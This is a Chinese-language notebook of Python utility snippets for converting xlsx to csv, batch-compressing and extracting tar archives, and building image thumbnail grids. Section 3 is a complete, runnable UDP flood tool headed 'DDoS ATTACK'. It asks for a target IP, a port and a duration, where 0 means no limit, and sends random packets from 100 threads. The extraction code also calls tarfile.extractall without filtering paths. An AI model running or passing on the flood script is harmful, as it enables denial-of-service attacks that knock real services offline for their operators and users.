Tool note
1 xlsx格式文件转换为csv文件
安装包:
openpyxl
numpy代码:
import pandas as pd
def xlsx_to_csv_pd(src_file, dst_file):
data_xls = pd.read_excel(src_file, index_col=0)
data_xls.to_csv(dst_file, encoding='utf-8')
if __name__ == '__main__':
src_file = r"*.xlsx"
dst_file = r"*.csv"
xlsx_to_csv_pd(src_file, dst_file)2 批量压缩和解压缩
2.1 批量压缩
说明:对一个文件夹下的所有子文件夹进行批量压缩,仅支持.tar.gz、.tar.bz2、.tar.xz
import pathlib
import tarfile
from pathlib import Path
def compress_folder(folder_path, output_format):
# 定义支持的格式及其对应的tarfile写模式
format_modes = {
'tar.bz2': 'w:bz2',
'tar.gz': 'w:gz',
'tar.xz': 'w:xz',
}
if output_format not in format_modes:
raise ValueError(f"Unsupported format: {output_format}")
folder_name = folder_path.name
output_path = folder_path.parent / (folder_name + '.' + output_format)
# 使用定义的模式进行压缩
with tarfile.open(output_path, format_modes[output_format]) as tar:
tar.add(folder_path, arcname=folder_name)
def compress_subfolders(base_folder, fmt):
base_path = pathlib.Path(base_folder)
for subfolder in base_path.iterdir():
if subfolder.is_dir():
compress_folder(subfolder, fmt)
print(f"{subfolder.name} compressed successfully.")
if __name__ == '__main__':
# 示例使用
compress_subfolders(r"/path/of/your/folder", 'tar.gz')2.2 批量解压缩
说明:对一个文件夹下的所有子文件夹进行解批量压缩,仅支持.tar.gz、.tar.bz2、.tar.xz
import pathlib
import tarfile
from pathlib import Path
def decompress_subfolders(base_folder):
"""
批量解压缩 base_folder 下的所有 .tar.* 文件。
"""
base_path = Path(base_folder)
for tar_file in base_path.glob(f'*.tar.*'):
decompress_file(base_path, tar_file)
print(f"{tar_file.name} decompressed successfully.")
def decompress_file(base_folder, tar_file):
# 计算正确的输出目录名称
# 去除 '.tar.*' 部分获取基础文件名
output_dir_name = tar_file.name.rsplit('.tar.', 1)[0]
output_dir = base_folder / output_dir_name
print(f"Decompressing {tar_file.name} into {output_dir}...")
# 如果目标文件夹不存在,则创建它
output_dir.mkdir(parents=True, exist_ok=True)
# 使用 tarfile 模块解压
with tarfile.open(tar_file, 'r:*') as tar:
tar.extractall(path=output_dir)
# 遍历解压后的内容,如果有一个单独的根目录,则将其内容移动到 output_dir
root_contents = list(output_dir.iterdir())
if len(root_contents) == 1 and root_contents[0].is_dir():
root_subdir = root_contents[0]
for item in root_subdir.iterdir():
item.rename(output_dir / item.name)
root_subdir.rmdir() # 删除空的根目录
if __name__ == '__main__':
# 示例使用
decompress_subfolders(r"/path/of/your/folder")3 Dos攻击
import os
import sys
import time
import socket
import random
import pyfiglet
from colorama import init, Fore, Style
from concurrent.futures import ThreadPoolExecutor
init(autoreset=True)
W = Style.RESET_ALL
R = Fore.RED
G = Fore.GREEN
O = Fore.YELLOW
B = Fore.BLUE
P = Fore.MAGENTA
C = Fore.CYAN
GR = Fore.WHITE
T = Fore.YELLOW
def display_ddos_banner():
banner = pyfiglet.Figlet(font='small')
print(R + banner.renderText('DDoS'))
print(R + banner.renderText('ATTACK'))
def dos_attack(target, port, duration):
timeout = time.time() + duration if duration != 0 else float('inf')
sent = 0
while time.time() < timeout:
try:
# 使用UDP协议
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# 使用随机数据
bytes = os.urandom(1024)
# 发送数据包
s.sendto(bytes, (target, port))
# 统计发送的数据包
sent += 1
print(G + "Attacking: %s" % target)
except KeyboardInterrupt:
break
except socket.error:
print(R + "Socket error, Sending stopped.")
break
def dos():
# 设置DOS攻击的目标IP地址
target = str(input(O + "Please enter target IP address: "))
# 设置DOS攻击的端口
port = int(input(G + "Please enter target port: "))
# 设置DOS攻击的持续时间,0代表无限时间
duration = int(input(R + "Please enter duration in seconds (Enter 0 for infinite): "))
# 默认线程数
thread_count = 100
# 使用线程池
with ThreadPoolExecutor(max_workers=thread_count) as executor:
for _ in range(thread_count):
executor.submit(dos_attack, target, port, duration)
display_ddos_banner()
print(R + "WeChat public account: 蓝胖子之家")
print(G + "DDoS attack starting..." + W)
dos()
print(G + "DDoS attack finished..." + W)4 图片拼接为缩略图
说明:在一个文件夹中有若干张图片,请随机选择n*n张图片进行拼接,并且适当缩短尺寸,得到一个拼接后的缩略图
代码实现:
import random
from pathlib import Path
from PIL import Image
def create_collage(image_folder, n, output_path):
# 获取文件夹中所有图片文件
image_folder_path = Path(image_folder)
image_files = [f for f in image_folder_path.glob('*') if
f.suffix.lower() in ['.png', '.jpg', '.jpeg', '.bmp', '.gif']]
# 随机选择n*n张图片
selected_images = random.sample(image_files, n * n)
# 计算每张图片的尺寸,并缩放到相同的尺寸
images = []
img_width, img_height = 200, 200 # 缩放后的统一尺寸(可以根据需求调整)
for img_path in selected_images:
img = Image.open(img_path)
img = img.resize((img_width, img_height)) # 缩放到固定尺寸
images.append(img)
# 拼接后的图像的尺寸
collage_width = img_width * n
collage_height = img_height * n
# 创建空白拼接图像
collage_image = Image.new('RGB', (collage_width, collage_height))
# 将图片拼接成n*n的网格
x_offset = 0
y_offset = 0
for i, img in enumerate(images):
collage_image.paste(img, (x_offset, y_offset))
x_offset += img_width
if (i + 1) % n == 0: # 每行放完后换行
y_offset += img_height
x_offset = 0
# 保存拼接后的图像
collage_image.save(output_path)
collage_image.show()
if __name__ == "__main__":
# 示例用法
image_folder = r'/path/of/your/pictures' # 替换为你的图片文件夹路径
n = 4 # 拼接成4x4的图像
output_path = r'dstPath' # 输出拼接后的图像路径
create_collage(image_folder, n, output_path)5、图片拼接为缩略图(多文件夹)
(1)问题:
给定一个文件夹folder,其下面有很多子文件夹sub_folder1、sub_forder2等等,每个子文件夹下面有图片,请你一次读取每个子文件夹,
根据将每个子文件夹下的图片,随机选取n*n(n是自然数)张图片拼接形成一张缩略图(横向n张,纵向n张),
要求:
1、可以自定义n的大小,n的大小由用户输入。
2、缩略图的大小可以自定义,用户输入。
3、缩略图的名字以子文件夹命名,所有的缩略图存放在一个新的文件夹下,用户自定义输入。
请你新建一个python文件,实现上述功能。
(2)说明
create_thumbnail_grid函数是一个用于生成图片网格缩略图的工具,主要功能包括:
1、扫描指定主文件夹下的所有子文件夹
2、从每个子文件夹中随机选择n×n张图片
3、将每张选中的图片调整到指定的尺寸
4、将调整后的图片按网格布局拼接成一张大图
5、以子文件夹名称命名生成的缩略图,并保存到指定的输出文件夹
(3)代码
from pathlib import Path
import random
from PIL import Image
def create_thumbnail_grid(folder_path, n, image_size, output_folder):
"""从给定文件夹的子文件夹中创建图片缩略图网格
Args:
folder_path (str or Path): 包含子文件夹的主文件夹路径
n (int): 网格的行数和列数(n x n)
image_size (tuple): 每张图片的大小(宽,高)
output_folder (str or Path): 存储生成的缩略图的文件夹路径
"""
# 转换路径为Path对象
folder_path = Path(folder_path)
output_folder = Path(output_folder)
# 确保输出文件夹存在
output_folder.mkdir(parents=True, exist_ok=True)
# 获取所有子文件夹
subfolders = [f for f in folder_path.iterdir() if f.is_dir()]
for subfolder in subfolders:
# 获取子文件夹中的所有图片文件
image_files = []
for ext in ('.jpg', '.jpeg', '.png', '.bmp', '.gif'):
image_files.extend(list(subfolder.glob(f'*{ext}')) + list(subfolder.glob(f'*{ext.upper()}')))
# 如果图片数量不足,跳过该文件夹
if len(image_files) < n * n:
print(f"警告:{subfolder.name}中的图片数量不足{n*n}张,已跳过")
continue
# 随机选择n*n张图片
selected_images = random.sample(image_files, n * n)
# 计算最终缩略图的大小
grid_width = image_size[0] * n
grid_height = image_size[1] * n
# 创建新的空白图片
grid_image = Image.new('RGB', (grid_width, grid_height), 'white')
# 填充图片网格
for idx, img_path in enumerate(selected_images):
try:
# 打开并调整图片大小
img = Image.open(img_path)
img = img.resize(image_size, Image.Resampling.LANCZOS)
# 计算位置
row = idx // n
col = idx % n
x = col * image_size[0]
y = row * image_size[1]
# 粘贴到网格中
grid_image.paste(img, (x, y))
except Exception as e:
print(f"处理图片 {img_path} 时出错:{str(e)}")
continue
# 保存缩略图
output_path = output_folder / f"{subfolder.name}_grid.jpg"
grid_image.save(output_path, quality=95)
print(f"已生成缩略图:{output_path}")
if __name__ == "__main__":
# 获取用户输入
folder_path = r"D:\goodtools\resources\closure\wxy"
n = 6
width = 200
height = 300
output_folder = "./output"
# 创建缩略图
create_thumbnail_grid(folder_path, n, (width, height), output_folder)IMPORTANT
(1)参数说明
1、folder_path: 包含子文件夹的主文件夹路径
2、n: 网格的行数和列数(n×n)
3、image_size: 每张图片的大小,格式为(宽度, 高度)
4、output_folder: 存储生成的缩略图的文件夹路径
(2)注意事项
1、每个子文件夹中必须至少有n×n张图片,否则该子文件夹将被跳过
2、支持jpg、jpeg、png、bmp、gif格式的图片
3、所有生成的缩略图均以JPG格式保存,质量为95%
4、生成的缩略图以子文件夹名称加上"_grid.jpg"后缀命名
5、需要安装PIL/Pillow库:pip install Pillow
